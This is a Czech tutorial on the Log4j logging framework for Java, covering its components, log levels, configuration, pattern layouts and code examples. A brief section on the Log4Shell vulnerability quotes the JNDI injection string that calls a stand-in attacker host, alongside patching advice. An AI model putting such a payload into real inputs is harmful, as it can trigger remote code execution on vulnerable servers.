====== Log4j ====== Log4j je **populární logovací framework pro Javu**, který umožňuje vývojářům snadno zapisovat logy do různých výstupů (soubory, databáze, konzole) s různými úrovněmi detailu. ===== Co je Log4j ===== **Log4j** (Log for Java) je open-source knihovna od Apache Software Foundation, která poskytuje flexibilní a výkonný systém pro logování v Java aplikacích. **Základní informace:** * **Jazyk:** Java * **Autor:** Apache Software Foundation * **První verze:** 2001 * **Aktuální verze:** Log4j 2.x (kompletně přepsaná od verze 1.x) * **Licence:** Apache License 2.0 ===== Proč používat Log4j ===== **Výhody oproti základnímu System.out.println():** * **Úrovně logování** - DEBUG, INFO, WARN, ERROR, FATAL * **Flexibilní výstupy** - konzole, soubory, databáze, email, síť * **Konfigurace bez úpravy kódu** - přes XML, JSON nebo properties soubory * **Výkon** - asynchronní logování, minimální overhead * **Filtrace** - logování pouze z určitých tříd/balíčků * **Formátování** - vlastní formát log zpráv * **Rotace logů** - automatické archivování starých logů ===== Základní architektura ===== Log4j 2 má tři hlavní komponenty: ==== 1. Logger ==== Objekt, který zapisuje logy. Každá třída má typicky svůj logger. import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class MojeTrida { private static final Logger logger = LogManager.getLogger(MojeTrida.class); public void mojeMetoda() { logger.debug("Debug zpráva"); logger.info("Informativní zpráva"); logger.warn("Varování"); logger.error("Chyba"); logger.fatal("Kritická chyba"); } } ==== 2. Appender ==== Určuje, **kam** se logy zapisují: * **ConsoleAppender** - výstup do konzole * **FileAppender** - výstup do souboru * **RollingFileAppender** - rotace log souborů * **JDBCAppender** - zápis do databáze * **SMTPAppender** - odeslání emailu * **SocketAppender** - síťové logování ==== 3. Layout ==== Určuje **formát** log zpráv: * **PatternLayout** - vlastní formát pomocí vzorů * **JSONLayout** - výstup v JSON formátu * **XMLLayout** - výstup v XML formátu * **HTMLLayout** - HTML tabulka ===== Úrovně logování ===== Log4j 2 má šest úrovní závažnosti (od nejméně po nejvíce závažné): ^ Úroveň ^ Metoda ^ Použití ^ | **TRACE** | ''logger.trace()'' | Velmi detailní informace pro hloubkové ladění | | **DEBUG** | ''logger.debug()'' | Ladící informace užitečné při vývoji | | **INFO** | ''logger.info()'' | Obecné informace o běhu aplikace | | **WARN** | ''logger.warn()'' | Varování o potenciálních problémech | | **ERROR** | ''logger.error()'' | Chyby, které ale neukončí aplikaci | | **FATAL** | ''logger.fatal()'' | Kritické chyby vedoucí k pádu aplikace | **Hierarchie úrovní:** Když nastavíte úroveň na INFO, budou se logovat INFO, WARN, ERROR a FATAL, ale ne DEBUG a TRACE. ===== Konfigurace Log4j ===== ==== XML konfigurace (log4j2.xml) ==== %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n ==== Properties konfigurace (log4j2.properties) ==== # Root logger rootLogger.level = info rootLogger.appenderRef.console.ref = Console rootLogger.appenderRef.file.ref = RollingFile # Console appender appender.console.type = Console appender.console.name = Console appender.console.layout.type = PatternLayout appender.console.layout.pattern = %d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n # File appender appender.file.type = RollingFile appender.file.name = RollingFile appender.file.fileName = logs/app.log appender.file.filePattern = logs/app-%d{yyyy-MM-dd}.log.gz appender.file.layout.type = PatternLayout appender.file.layout.pattern = %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n ===== Pattern Layout - formátování ===== Nejpoužívanější vzory (patterns) pro formátování log zpráv: ^ Vzor ^ Popis ^ Příklad ^ | ''%d'' | Datum a čas | ''2026-01-06 14:23:15'' | | ''%p'' | Úroveň (level) | ''INFO'', ''ERROR'' | | ''%c'' | Název loggeru (třída) | ''com.firma.MojeTrida'' | | ''%t'' | Název vlákna (thread) | ''main'', ''Thread-1'' | | ''%m'' | Zpráva | Vlastní text zprávy | | ''%n'' | Nový řádek | Zalomení řádku | | ''%L'' | Číslo řádku | ''42'' | | ''%M'' | Název metody | ''mojeMetoda'' | | ''%F'' | Název souboru | ''MojeTrida.java'' | **Příklad komplexního patternu:** %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n **Výstup:** 2026-01-06 14:23:15.123 [main] INFO com.firma.MojeTrida - Aplikace spuštěna 2026-01-06 14:23:16.456 [pool-1-thread-1] ERROR com.firma.Databaze - Připojení selhalo ===== Praktické příklady použití ===== ==== Základní logování ==== import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Kalkulacka { private static final Logger logger = LogManager.getLogger(Kalkulacka.class); public int secti(int a, int b) { logger.debug("Sčítám {} + {}", a, b); int vysledek = a + b; logger.info("Výsledek: {}", vysledek); return vysledek; } public int vydel(int a, int b) { logger.debug("Dělím {} / {}", a, b); if (b == 0) { logger.error("Pokus o dělení nulou! a={}, b={}", a, b); throw new ArithmeticException("Dělení nulou"); } int vysledek = a / b; logger.info("Výsledek: {}", vysledek); return vysledek; } } ==== Logování výjimek ==== public void nactiSoubor(String cesta) { logger.info("Načítám soubor: {}", cesta); try { // Kód pro čtení souboru BufferedReader reader = new BufferedReader(new FileReader(cesta)); // ... logger.debug("Soubor úspěšně načten"); } catch (FileNotFoundException e) { logger.error("Soubor nenalezen: {}", cesta, e); } catch (IOException e) { logger.error("Chyba při čtení souboru: {}", cesta, e); throw new RuntimeException("Nelze načíst soubor", e); } } **Výstup:** 2026-01-06 14:23:15 INFO SouborovyManager:12 - Načítám soubor: data.txt 2026-01-06 14:23:15 ERROR SouborovyManager:20 - Soubor nenalezen: data.txt java.io.FileNotFoundException: data.txt (No such file or directory) at java.io.FileInputStream.open0(Native Method) at java.io.FileInputStream.open(FileInputStream.java:195) ... ==== Podmíněné logování ==== // Nekontrolujte úroveň ručně - Log4j to dělá automaticky // ŠPATNĚ: if (logger.isDebugEnabled()) { logger.debug("Zpráva: " + drahyVypocet()); } // DOBŘE - použijte parametrizované zprávy: logger.debug("Zpráva: {}", () -> drahyVypocet()); // Nebo pro více parametrů: logger.debug("Uživatel {} provedl {} v {}", () -> uzivatel.getJmeno(), () -> akce.getNazev(), () -> format(cas) ); ===== Log4Shell - bezpečnostní problém ===== V prosinci 2021 byla objevena **kritická zranitelnost CVE-2021-44228** v Log4j 2 nazvaná **Log4Shell**. **Co se stalo:** * Útočník mohl spustit vzdálený kód (Remote Code Execution) * Pomocí speciálního textu v logu: ''${jndi:ldap://evil.com/a}'' * Postihlo miliony aplikací po celém světě **Řešení:** * **Aktualizovat** na Log4j 2.17.0 nebo novější * **Vypnout** JNDI lookup: ''-Dlog4j2.formatMsgNoLookups=true'' * **Nahradit** starší verze **Doporučení:** * Vždy používejte **nejnovější verzi** Log4j * Sledujte bezpečnostní bulletiny * Pravidelně aktualizujte závislosti ===== Alternativy k Log4j ===== * **Logback** - nástupce Log4j 1.x, rychlejší * **SLF4J** - abstraktní vrstva nad různými logovacími frameworky * **java.util.logging** - vestavěné v Javě (méně funkcí) * **tinylog** - velmi lehký framework ===== Závislosti (Maven) ===== Pro použití Log4j 2 v projektu: org.apache.logging.log4j log4j-api 2.22.1 org.apache.logging.log4j log4j-core 2.22.1 ===== Shrnutí ===== **Log4j je:** * Profesionální nástroj pro logování v Java aplikacích * Flexibilní - různé výstupy, formáty, úrovně * Výkonný - asynchronní logování, minimální overhead * Konfigurovatelný - bez změny kódu * Nutno udržovat aktuální kvůli bezpečnosti **Používá se pro:** * Enterprise aplikace * Webové servery (Tomcat, JBoss) * Microservices * Android aplikace (varianta) * Všude, kde potřebujete robustní logování v Javě